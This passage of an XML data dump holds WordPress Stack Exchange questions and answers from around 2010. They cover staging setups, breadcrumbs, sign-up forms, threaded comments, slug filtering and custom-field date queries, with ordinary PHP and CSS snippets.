&lt;strong&gt;localhost&lt;/strong&gt; for our developers, &lt;strong&gt;developerdomain.com&lt;/strong&gt; for our test servers and then &lt;strong&gt;realdomain.com&lt;/strong&gt; when the site goes live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It feels kind of overkill if we have to setup different databases for each of them and change the domain and path manually and then copy the post, blog and userdata between the databases to do debugging and continue the development..&lt;/p&gt;&#xA;" OwnerUserId="1082" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-03T01:19:00.803" LastActivityDate="2011-05-14T23:07:31.693" Title="Override database config for WordPress multiblog" Tags="&lt;3.0&gt;&lt;multisite&gt;&lt;staging&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="2349" PostTypeId="1" AcceptedAnswerId="2368" CreationDate="2010-09-29T10:32:23.617" Score="3" ViewCount="1084" Body="&lt;p&gt;I've tried both Yoast Breadcrumbs and Breadcrumbs NavXT and I can't seem to get either to work with custom post types. Anyone had any luck with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single 'News' post on my site displays:&#xA;Home -&gt; Blog -&gt; My News Post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of correctly displaying:&#xA;Home -&gt; News -&gt; My News Post&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2010-10-31T17:30:18.057" Title="Breadcrumbs with Custom Post Types?" Tags="&lt;custom-post-types&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" />
  <row Id="2350" PostTypeId="1" CreationDate="2010-09-29T10:32:45.563" Score="0" ViewCount="241" Body="&lt;p&gt;I'm making a landing page using WordPress coupled with a theme I bought from WooThemes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to create a page that allows people to sign up for news of when a beta account is available. Ideally, this page will only have some text + a box to input their email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a simple solution which will collect the addresses, then give me a quick way to see all the list and export it. I'm not looking for something to help me send the emails themselves, just collect the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good WordPress plugin to use for this? If not, what is the &quot;usual&quot; way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2011-01-26T20:19:53.213" Title="Collecting email addresses via a &quot;beta&quot; sign up form" Tags="&lt;plugins&gt;&lt;email&gt;" AnswerCount="4" />
  <row Id="2351" PostTypeId="1" CreationDate="2010-09-29T11:07:41.603" Score="1" ViewCount="94" Body="&lt;p&gt;Hi I am trying to add threaded comments to my theme, I have enabled them through the admin settings. Allowing the &quot;Reply&quot; link to show, when posting a threaded comment it appears there is no ul id/class children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They seem to just be normal comments, I have read some tutorials and all say that when you enable the threaded comments thats it.&lt;/p&gt;&#xA;" LastActivityDate="2011-06-14T04:07:52.880" Title="Threaded comments not working" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2352" PostTypeId="2" ParentId="2351" CreationDate="2010-09-29T11:17:58.743" Score="2" ViewCount="" Body="&lt;p&gt;If your theme is old (made for WP version before 2.7) you will need to upgrade its code to work with threaded comments. Probably both internal code and styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most fitting article I can find in docs is &lt;a href=&quot;http://codex.wordpress.org/Migrating_Plugins_and_Themes_to_2.7/Enhanced_Comment_Display&quot; rel=&quot;nofollow&quot;&gt;Migrating Plugins and Themes to 2.7/Enhanced Comment Display&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus there were major changes to comment form functionality in 3.0, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comment_form()&lt;/code&gt;&lt;/a&gt; function. &lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-29T11:17:58.743" CommentCount="3" />
  <row Id="2353" PostTypeId="2" ParentId="2350" CreationDate="2010-09-29T11:18:22.033" Score="0" ViewCount="" Body="&lt;p&gt;I have not tried this personally, I have just stumbled upon this WordPress theme that supposedly does exactly what you need and a little bit more: &lt;a href=&quot;http://themeshaper.com/wordpress-domain-parking-theme/&quot; rel=&quot;nofollow&quot;&gt;LaunchPad&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also &lt;a href=&quot;http://visionwidget.com/showcase/graphics/501-free-coming-soon-wordpress-themes.html&quot; rel=&quot;nofollow&quot;&gt;other themes solely for this purpose&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-09-29T11:18:22.033" />
  <row Id="2354" PostTypeId="2" ParentId="1481" CreationDate="2010-09-29T13:16:34.370" Score="0" ViewCount="" Body="&lt;p&gt;You may find this thread forum very informative, as I am closer to the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://diythemes.com/forums/showthread.php?39258-Category-highlighting-for-single-post-%28-wp-menu-%29&quot; rel=&quot;nofollow&quot;&gt;http://diythemes.com/forums/showthread.php?39258-Category-highlighting-for-single-post-%28-wp-menu-%29&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pierre&lt;/p&gt;&#xA;" LastActivityDate="2010-09-29T13:16:34.370" />
  <row Id="2355" PostTypeId="2" ParentId="2025" CreationDate="2010-09-29T14:14:26.850" Score="1" ViewCount="" Body="&lt;p&gt;I ended up just adding the following CSS to a css file I was calling in my functions.php file for the admin area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[for=&quot;slugdiv-hide&quot;] { &#xA;    display: none; &#xA;    }&#xA;&#xA;#slugdiv { &#xA;    display: none; &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This removed both the screen options and the metabox while still allowing me to edit the url under the title.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based on the answer provided by FXFUTURE I modified his code by extending it and including the css values for screen options and the slug metabox while ensuring that the code only gets included on the post-new.php and post.php page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// HIDE THE SLUG METABOX AND SLUG SCREEN OPTIONS&#xA;   function hide_slug_options() {&#xA;    global $post;&#xA;    global $pagenow;&#xA;    $hide_slugs = &quot;&amp;lt;style type=\&quot;text/css\&quot;&amp;gt;#slugdiv, #edit-slug-box, [for=\&quot;slugdiv-hide\&quot;] { display: none; }&amp;lt;/style&amp;gt;\n&quot;;&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php' OR $pagenow=='post.php') print($hide_slugs);&#xA;   }&#xA;   add_action( 'admin_head', 'hide_slug_options'  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-09-30T00:50:58.137" LastActivityDate="2010-09-30T00:50:58.137" />
  <row Id="2356" PostTypeId="2" ParentId="1931" CreationDate="2010-09-29T14:17:41.997" Score="0" ViewCount="" Body="&lt;p&gt;I ended up using the following code within my functions.php file to get the desired functionality:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// AUTOMATICALLY SANITIZE PAGE/POST SEO SLUG FROM SHORT WORDS&#xA;// SOURCE: http://www.vretoolbar.com/news/seo-slugs-wordpress-plugin&#xA;   add_filter('name_save_pre', 'seo_slugs', 0);&#xA;   function seo_slugs($slug) {&#xA;    // We don't want to change an existing slug&#xA;    if ($slug) return $slug;&#xA;    global $wpdb;&#xA;    $seo_slug = strtolower(stripslashes($_POST['post_title']));&#xA;    $seo_slug = preg_replace('/&amp;amp;.+?;/', '', $seo_slug); // kill HTML entities&#xA;    // kill anything that is not a letter, digit, space or apostrophe&#xA;    $seo_slug = preg_replace (&quot;/[^a-zA-Z0-9 \']/&quot;, &quot;&quot;, $seo_slug);&#xA;    // Turn it to an array and strip common words by comparing against c.w. array&#xA;    $seo_slug_array = array_diff (split(&quot; &quot;, $seo_slug), seo_slugs_stop_words());&#xA;    // Turn the sanitized array into a string&#xA;    $seo_slug = join(&quot;-&quot;, $seo_slug_array);&#xA;    return $seo_slug;&#xA;   }&#xA;   function seo_slugs_stop_words () {&#xA;   return array (&quot;a&quot;, &quot;able&quot;, &quot;about&quot;, &quot;above&quot;, &quot;abroad&quot;, &quot;according&quot;, &quot;accordingly&quot;, &quot;across&quot;, &quot;actually&quot;, &quot;adj&quot;, &quot;after&quot;, &quot;afterwards&quot;, &quot;again&quot;, &quot;against&quot;, &quot;ago&quot;, &quot;ahead&quot;, &quot;ain't&quot;, &quot;all&quot;, &quot;allow&quot;, &quot;allows&quot;, &quot;almost&quot;, &quot;alone&quot;, &quot;along&quot;, &quot;alongside&quot;, &quot;already&quot;, &quot;also&quot;, &quot;although&quot;, &quot;always&quot;, &quot;am&quot;, &quot;amid&quot;, &quot;amidst&quot;, &quot;among&quot;, &quot;amongst&quot;, &quot;an&quot;, &quot;and&quot;, &quot;another&quot;, &quot;any&quot;, &quot;anybody&quot;, &quot;anyhow&quot;, &quot;anyone&quot;, &quot;anything&quot;, &quot;anyway&quot;, &quot;anyways&quot;, &quot;anywhere&quot;, &quot;apart&quot;, &quot;appear&quot;, &quot;appreciate&quot;, &quot;appropriate&quot;, &quot;are&quot;, &quot;aren't&quot;, &quot;around&quot;, &quot;as&quot;, &quot;a's&quot;, &quot;aside&quot;, &quot;ask&quot;, &quot;asking&quot;, &quot;associated&quot;, &quot;at&quot;, &quot;available&quot;, &quot;away&quot;, &quot;awfully&quot;, &quot;b&quot;, &quot;back&quot;, &quot;backward&quot;, &quot;backwards&quot;, &quot;be&quot;, &quot;became&quot;, &quot;because&quot;, &quot;become&quot;, &quot;becomes&quot;, &quot;becoming&quot;, &quot;been&quot;, &quot;before&quot;, &quot;beforehand&quot;, &quot;begin&quot;, &quot;behind&quot;, &quot;being&quot;, &quot;believe&quot;, &quot;below&quot;, &quot;beside&quot;, &quot;besides&quot;, &quot;best&quot;, &quot;better&quot;, &quot;between&quot;, &quot;beyond&quot;, &quot;both&quot;, &quot;brief&quot;, &quot;but&quot;, &quot;by&quot;, &quot;c&quot;, &quot;came&quot;, &quot;can&quot;, &quot;cannot&quot;, &quot;cant&quot;, &quot;can't&quot;, &quot;caption&quot;, &quot;cause&quot;, &quot;causes&quot;, &quot;certain&quot;, &quot;certainly&quot;, &quot;changes&quot;, &quot;clearly&quot;, &quot;c'mon&quot;, &quot;co&quot;, &quot;co.&quot;, &quot;com&quot;, &quot;come&quot;, &quot;comes&quot;, &quot;concerning&quot;, &quot;consequently&quot;, &quot;consider&quot;, &quot;considering&quot;, &quot;contain&quot;, &quot;containing&quot;, &quot;contains&quot;, &quot;corresponding&quot;, &quot;could&quot;, &quot;couldn't&quot;, &quot;course&quot;, &quot;c's&quot;, &quot;currently&quot;, &quot;d&quot;, &quot;dare&quot;, &quot;daren't&quot;, &quot;definitely&quot;, &quot;described&quot;, &quot;despite&quot;, &quot;did&quot;, &quot;didn't&quot;, &quot;different&quot;, &quot;directly&quot;, &quot;do&quot;, &quot;does&quot;, &quot;doesn't&quot;, &quot;doing&quot;, &quot;done&quot;, &quot;don't&quot;, &quot;down&quot;, &quot;downwards&quot;, &quot;during&quot;, &quot;e&quot;, &quot;each&quot;, &quot;edu&quot;, &quot;eg&quot;, &quot;eight&quot;, &quot;eighty&quot;, &quot;either&quot;, &quot;else&quot;, &quot;elsewhere&quot;, &quot;end&quot;, &quot;ending&quot;, &quot;enough&quot;, &quot;entirely&quot;, &quot;especially&quot;, &quot;et&quot;, &quot;etc&quot;, &quot;even&quot;, &quot;ever&quot;, &quot;evermore&quot;, &quot;every&quot;, &quot;everybody&quot;, &quot;everyone&quot;, &quot;everything&quot;, &quot;everywhere&quot;, &quot;ex&quot;, &quot;exactly&quot;, &quot;example&quot;, &quot;except&quot;, &quot;f&quot;, &quot;fairly&quot;, &quot;far&quot;, &quot;farther&quot;, &quot;few&quot;, &quot;fewer&quot;, &quot;fifth&quot;, &quot;first&quot;, &quot;five&quot;, &quot;followed&quot;, &quot;following&quot;, &quot;follows&quot;, &quot;for&quot;, &quot;forever&quot;, &quot;former&quot;, &quot;formerly&quot;, &quot;forth&quot;, &quot;forward&quot;, &quot;found&quot;, &quot;four&quot;, &quot;from&quot;, &quot;further&quot;, &quot;furthermore&quot;, &quot;g&quot;, &quot;get&quot;, &quot;gets&quot;, &quot;getting&quot;, &quot;given&quot;, &quot;gives&quot;, &quot;go&quot;, &quot;goes&quot;, &quot;going&quot;, &quot;gone&quot;, &quot;got&quot;, &quot;gotten&quot;, &quot;greetings&quot;, &quot;h&quot;, &quot;had&quot;, &quot;hadn't&quot;, &quot;half&quot;, &quot;happens&quot;, &quot;hardly&quot;, &quot;has&quot;, &quot;hasn't&quot;, &quot;have&quot;, &quot;haven't&quot;, &quot;having&quot;, &quot;he&quot;, &quot;he'd&quot;, &quot;he'll&quot;, &quot;hello&quot;, &quot;help&quot;, &quot;hence&quot;, &quot;her&quot;, &quot;here&quot;, &quot;hereafter&quot;, &quot;hereby&quot;, &quot;herein&quot;, &quot;here's&quot;, &quot;hereupon&quot;, &quot;hers&quot;, &quot;herself&quot;, &quot;he's&quot;, &quot;hi&quot;, &quot;him&quot;, &quot;himself&quot;, &quot;his&quot;, &quot;hither&quot;, &quot;hopefully&quot;, &quot;how&quot;, &quot;howbeit&quot;, &quot;however&quot;, &quot;hundred&quot;, &quot;i&quot;, &quot;i'd&quot;, &quot;ie&quot;, &quot;if&quot;, &quot;ignored&quot;, &quot;i'll&quot;, &quot;i'm&quot;, &quot;immediate&quot;, &quot;in&quot;, &quot;inasmuch&quot;, &quot;inc&quot;, &quot;inc.&quot;, &quot;indeed&quot;, &quot;indicate&quot;, &quot;indicated&quot;, &quot;indicates&quot;, &quot;inner&quot;, &quot;inside&quot;, &quot;insofar&quot;, &quot;instead&quot;, &quot;into&quot;, &quot;inward&quot;, &quot;is&quot;, &quot;isn't&quot;, &quot;it&quot;, &quot;it'd&quot;, &quot;it'll&quot;, &quot;its&quot;, &quot;it's&quot;, &quot;itself&quot;, &quot;i've&quot;, &quot;j&quot;, &quot;just&quot;, &quot;k&quot;, &quot;keep&quot;, &quot;keeps&quot;, &quot;kept&quot;, &quot;know&quot;, &quot;known&quot;, &quot;knows&quot;, &quot;l&quot;, &quot;last&quot;, &quot;lately&quot;, &quot;later&quot;, &quot;latter&quot;, &quot;latterly&quot;, &quot;least&quot;, &quot;less&quot;, &quot;lest&quot;, &quot;let&quot;, &quot;let's&quot;, &quot;like&quot;, &quot;liked&quot;, &quot;likely&quot;, &quot;likewise&quot;, &quot;little&quot;, &quot;look&quot;, &quot;looking&quot;, &quot;looks&quot;, &quot;low&quot;, &quot;lower&quot;, &quot;ltd&quot;, &quot;m&quot;, &quot;made&quot;, &quot;mainly&quot;, &quot;make&quot;, &quot;makes&quot;, &quot;many&quot;, &quot;may&quot;, &quot;maybe&quot;, &quot;mayn't&quot;, &quot;me&quot;, &quot;mean&quot;, &quot;meantime&quot;, &quot;meanwhile&quot;, &quot;merely&quot;, &quot;might&quot;, &quot;mightn't&quot;, &quot;mine&quot;, &quot;minus&quot;, &quot;miss&quot;, &quot;more&quot;, &quot;moreover&quot;, &quot;most&quot;, &quot;mostly&quot;, &quot;mr&quot;, &quot;mrs&quot;, &quot;much&quot;, &quot;must&quot;, &quot;mustn't&quot;, &quot;my&quot;, &quot;myself&quot;, &quot;n&quot;, &quot;name&quot;, &quot;namely&quot;, &quot;nd&quot;, &quot;near&quot;, &quot;nearly&quot;, &quot;necessary&quot;, &quot;need&quot;, &quot;needn't&quot;, &quot;needs&quot;, &quot;neither&quot;, &quot;never&quot;, &quot;neverf&quot;, &quot;neverless&quot;, &quot;nevertheless&quot;, &quot;new&quot;, &quot;next&quot;, &quot;nine&quot;, &quot;ninety&quot;, &quot;no&quot;, &quot;nobody&quot;, &quot;non&quot;, &quot;none&quot;, &quot;nonetheless&quot;, &quot;noone&quot;, &quot;no-one&quot;, &quot;nor&quot;, &quot;normally&quot;, &quot;not&quot;, &quot;nothing&quot;, &quot;notwithstanding&quot;, &quot;novel&quot;, &quot;now&quot;, &quot;nowhere&quot;, &quot;o&quot;, &quot;obviously&quot;, &quot;of&quot;, &quot;off&quot;, &quot;often&quot;, &quot;oh&quot;, &quot;ok&quot;, &quot;okay&quot;, &quot;old&quot;, &quot;on&quot;, &quot;once&quot;, &quot;one&quot;, &quot;ones&quot;, &quot;one's&quot;, &quot;only&quot;, &quot;onto&quot;, &quot;opposite&quot;, &quot;or&quot;, &quot;other&quot;, &quot;others&quot;, &quot;otherwise&quot;, &quot;ought&quot;, &quot;oughtn't&quot;, &quot;our&quot;, &quot;ours&quot;, &quot;ourselves&quot;, &quot;out&quot;, &quot;outside&quot;, &quot;over&quot;, &quot;overall&quot;, &quot;own&quot;, &quot;p&quot;, &quot;particular&quot;, &quot;particularly&quot;, &quot;past&quot;, &quot;per&quot;, &quot;perhaps&quot;, &quot;placed&quot;, &quot;please&quot;, &quot;plus&quot;, &quot;possible&quot;, &quot;presumably&quot;, &quot;probably&quot;, &quot;provided&quot;, &quot;provides&quot;, &quot;q&quot;, &quot;que&quot;, &quot;quite&quot;, &quot;qv&quot;, &quot;r&quot;, &quot;rather&quot;, &quot;rd&quot;, &quot;re&quot;, &quot;really&quot;, &quot;reasonably&quot;, &quot;recent&quot;, &quot;recently&quot;, &quot;regarding&quot;, &quot;regardless&quot;, &quot;regards&quot;, &quot;relatively&quot;, &quot;respectively&quot;, &quot;right&quot;, &quot;round&quot;, &quot;s&quot;, &quot;said&quot;, &quot;same&quot;, &quot;saw&quot;, &quot;say&quot;, &quot;saying&quot;, &quot;says&quot;, &quot;second&quot;, &quot;secondly&quot;, &quot;see&quot;, &quot;seeing&quot;, &quot;seem&quot;, &quot;seemed&quot;, &quot;seeming&quot;, &quot;seems&quot;, &quot;seen&quot;, &quot;self&quot;, &quot;selves&quot;, &quot;sensible&quot;, &quot;sent&quot;, &quot;serious&quot;, &quot;seriously&quot;, &quot;seven&quot;, &quot;several&quot;, &quot;shall&quot;, &quot;shan't&quot;, &quot;she&quot;, &quot;she'd&quot;, &quot;she'll&quot;, &quot;she's&quot;, &quot;should&quot;, &quot;shouldn't&quot;, &quot;since&quot;, &quot;six&quot;, &quot;so&quot;, &quot;some&quot;, &quot;somebody&quot;, &quot;someday&quot;, &quot;somehow&quot;, &quot;someone&quot;, &quot;something&quot;, &quot;sometime&quot;, &quot;sometimes&quot;, &quot;somewhat&quot;, &quot;somewhere&quot;, &quot;soon&quot;, &quot;sorry&quot;, &quot;specified&quot;, &quot;specify&quot;, &quot;specifying&quot;, &quot;still&quot;, &quot;sub&quot;, &quot;such&quot;, &quot;sup&quot;, &quot;sure&quot;, &quot;t&quot;, &quot;take&quot;, &quot;taken&quot;, &quot;taking&quot;, &quot;tell&quot;, &quot;tends&quot;, &quot;th&quot;, &quot;than&quot;, &quot;thank&quot;, &quot;thanks&quot;, &quot;thanx&quot;, &quot;that&quot;, &quot;that'll&quot;, &quot;thats&quot;, &quot;that's&quot;, &quot;that've&quot;, &quot;the&quot;, &quot;their&quot;, &quot;theirs&quot;, &quot;them&quot;, &quot;themselves&quot;, &quot;then&quot;, &quot;thence&quot;, &quot;there&quot;, &quot;thereafter&quot;, &quot;thereby&quot;, &quot;there'd&quot;, &quot;therefore&quot;, &quot;therein&quot;, &quot;there'll&quot;, &quot;there're&quot;, &quot;theres&quot;, &quot;there's&quot;, &quot;thereupon&quot;, &quot;there've&quot;, &quot;these&quot;, &quot;they&quot;, &quot;they'd&quot;, &quot;they'll&quot;, &quot;they're&quot;, &quot;they've&quot;, &quot;thing&quot;, &quot;things&quot;, &quot;think&quot;, &quot;third&quot;, &quot;thirty&quot;, &quot;this&quot;, &quot;thorough&quot;, &quot;thoroughly&quot;, &quot;those&quot;, &quot;though&quot;, &quot;three&quot;, &quot;through&quot;, &quot;throughout&quot;, &quot;thru&quot;, &quot;thus&quot;, &quot;till&quot;, &quot;to&quot;, &quot;together&quot;, &quot;too&quot;, &quot;took&quot;, &quot;toward&quot;, &quot;towards&quot;, &quot;tried&quot;, &quot;tries&quot;, &quot;truly&quot;, &quot;try&quot;, &quot;trying&quot;, &quot;t's&quot;, &quot;twice&quot;, &quot;two&quot;, &quot;u&quot;, &quot;un&quot;, &quot;under&quot;, &quot;underneath&quot;, &quot;undoing&quot;, &quot;unfortunately&quot;, &quot;unless&quot;, &quot;unlike&quot;, &quot;unlikely&quot;, &quot;until&quot;, &quot;unto&quot;, &quot;up&quot;, &quot;upon&quot;, &quot;upwards&quot;, &quot;us&quot;, &quot;use&quot;, &quot;used&quot;, &quot;useful&quot;, &quot;uses&quot;, &quot;using&quot;, &quot;usually&quot;, &quot;v&quot;, &quot;value&quot;, &quot;various&quot;, &quot;versus&quot;, &quot;very&quot;, &quot;via&quot;, &quot;viz&quot;, &quot;vs&quot;, &quot;w&quot;, &quot;want&quot;, &quot;wants&quot;, &quot;was&quot;, &quot;wasn't&quot;, &quot;way&quot;, &quot;we&quot;, &quot;we'd&quot;, &quot;welcome&quot;, &quot;well&quot;, &quot;we'll&quot;, &quot;went&quot;, &quot;were&quot;, &quot;we're&quot;, &quot;weren't&quot;, &quot;we've&quot;, &quot;what&quot;, &quot;whatever&quot;, &quot;what'll&quot;, &quot;what's&quot;, &quot;what've&quot;, &quot;when&quot;, &quot;whence&quot;, &quot;whenever&quot;, &quot;where&quot;, &quot;whereafter&quot;, &quot;whereas&quot;, &quot;whereby&quot;, &quot;wherein&quot;, &quot;where's&quot;, &quot;whereupon&quot;, &quot;wherever&quot;, &quot;whether&quot;, &quot;which&quot;, &quot;whichever&quot;, &quot;while&quot;, &quot;whilst&quot;, &quot;whither&quot;, &quot;who&quot;, &quot;who'd&quot;, &quot;whoever&quot;, &quot;whole&quot;, &quot;who'll&quot;, &quot;whom&quot;, &quot;whomever&quot;, &quot;who's&quot;, &quot;whose&quot;, &quot;why&quot;, &quot;will&quot;, &quot;willing&quot;, &quot;wish&quot;, &quot;with&quot;, &quot;within&quot;, &quot;without&quot;, &quot;wonder&quot;, &quot;won't&quot;, &quot;would&quot;, &quot;wouldn't&quot;, &quot;x&quot;, &quot;y&quot;, &quot;yes&quot;, &quot;yet&quot;, &quot;you&quot;, &quot;you'd&quot;, &quot;you'll&quot;, &quot;your&quot;, &quot;you're&quot;, &quot;yours&quot;, &quot;yourself&quot;, &quot;yourselves&quot;, &quot;you've&quot;, &quot;z&quot;, &quot;zero&quot;);&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that you NEED to have SLUG Metaboxes enabled for this to work. As I did not want the screen options or the actual metabox to show I added the following to an admin style sheet to remove them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[for=&quot;slugdiv-hide&quot;] { &#xA;    display: none; &#xA;    }&#xA;&#xA;#slugdiv { &#xA;    display: none; &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-29T14:17:41.997" />
  <row Id="2357" PostTypeId="1" CreationDate="2010-09-29T14:18:38.437" Score="2" ViewCount="234" Body="&lt;p&gt;If you use &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; tag in posts then next page of same post is not getting displayed.&#xA;It is working with some posts like &lt;a href=&quot;http://article-stack.com/featured/5-efficient-ways-to-hack-locked-folders.amty/2&quot; rel=&quot;nofollow&quot;&gt;http://article-stack.com/featured/5-efficient-ways-to-hack-locked-folders.amty/2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why it is not working with any other post.&#xA;First i though this problem might be with my theme. But i had tried 3-4 different themes. It is also not working on local host even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please guide&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:10:57.807" LastActivityDate="2011-02-05T10:10:57.807" ClosedDate="2011-03-05T21:38:04.520" Title="nextpage tag is not working for some posts" Tags="&lt;3.0&gt;&lt;support&gt;" CommentCount="4" />
  <row Id="2358" PostTypeId="2" ParentId="2350" CreationDate="2010-09-29T14:41:35.437" Score="1" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1578/are-there-any-coming-soon-themes-for-wordpress-3-0/1579#1579&quot;&gt;answer to a similar&lt;/a&gt; question about coming soon plugins and themes.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-29T14:41:35.437" />
  <row Id="2361" PostTypeId="1" AcceptedAnswerId="2362" CreationDate="2010-09-29T17:57:27.363" Score="1" ViewCount="1332" Body="&lt;p&gt;I have defined a custom post type that uses a meta field to store dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my functions.php I have the following code which saves the start date. The format of the date that is sent in the &lt;code&gt;startdate&lt;/code&gt; form parameter is &lt;code&gt;2010/12/01 9:00 AM&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_details');&#xA;&#xA;function save_details(){&#xA;    global $post;&#xA;    update_post_meta($post-&amp;gt;ID, &quot;startdate&quot;, $_POST[&quot;startdate&quot;]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to output a list of all the events with a &lt;code&gt;startdate&lt;/code&gt; later than the current time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;    'post_type' =&amp;gt; array('seminar'),&#xA;    'meta_key=startdate',&#xA;    'meta_value='.date(&quot;Y/m/d h:i A&quot;),&#xA;    'meta_compare=&amp;gt;'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lists out all the events regardless of their start date.  What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;SOLVED:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For some reason after I changed my code to the following, it just works. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; array('seminar'),&#xA;    'showposts' =&amp;gt; 3,&#xA;    'meta_key' =&amp;gt; 'startdate',&#xA;    'meta_value' =&amp;gt; date(&quot;Y/m/d h:i A&quot;),&#xA;    'meta_compare' =&amp;gt; '&amp;gt;',&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'ASC'&#xA;);&#xA;&#xA;$seminars = get_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am going to select the answer from @Rarst as the accepted one, because I think I actually had multiple issues going on here, but his addressed the issue related to the title best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@sorich87 had a good point about how I should have been storing the dates as timestamps, but in the end, @Rarst was correct that if I specified a format argument to the &lt;code&gt;date()&lt;/code&gt; function which matches the format I used when storing the data into the database, then I should be able to compare the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the help.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditorDisplayName="" LastEditDate="2010-09-29T20:52:34.933" LastActivityDate="2010-09-29T20:52:34.933" Title="How to use query_posts() with a date filter on a custom field?" Tags="&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2362" PostTypeId="2" ParentId="2361" CreationDate="2010-09-29T18:11:29.833" Score="1" ViewCount="" Body="&lt;p&gt;You store date as formatted string, but &lt;code&gt;time()&lt;/code&gt; function you take for comparison returns numeric timestamp. So you are trying to make comparison between too completely different formats and it's unlikely WP is smart enough to get that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-29T18:11:29.833" CommentCount="4" />
  <row Id="2363" PostTypeId="1" AcceptedAnswerId="2364" CreationDate="2010-09-29T18:29:31.967" Score="0" ViewCount="74" Body="&lt;p&gt;I am trying to speed up a wordpress site by condensing three wp_queries into one. I have a need to seperate categories, so I am making the call and defining 3 arrays to hold the post using a switch, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $new_query = new WP_Query();&#xA;                $new_query-&amp;gt;query('post_type=post&amp;amp;paged='.$paged);&#xA;                if ( $new_query-&amp;gt;have_posts() ) : while ( $new_query-&amp;gt;have_posts() ) : $new_query-&amp;gt;the_post();              &#xA;                $category = choose_one_category(get_the_category());&#xA;&#xA;                switch ($category){&#xA;                    case &quot;Category 1&quot;:&#xA;                        $cat1[] = $post;&#xA;                        break;&#xA;                    case &quot;Category 2&quot;:&#xA;                        $cat2[] = $post;&#xA;                        break;&#xA;                    case &quot;Category 3&quot;:&#xA;                        $cat3[] = $post;&#xA;                        break;&#xA;                }&#xA;&#xA;&#xA;                endwhile; endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which leaves me with 3 arrays which with the posts nicely sorted. Now I wish to define the variable $post OUTSIDE the loop so that I can use methods like &lt;code&gt;the_date()&lt;/code&gt; &amp;amp; &lt;code&gt;comments_number()&lt;/code&gt; without having to rewrite those functions, can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    foreach ($centre as $new_post){&#xA;                        $post = $new_post;&#xA;&#xA;                                             include('front_page_loop.php');&#xA;                    } 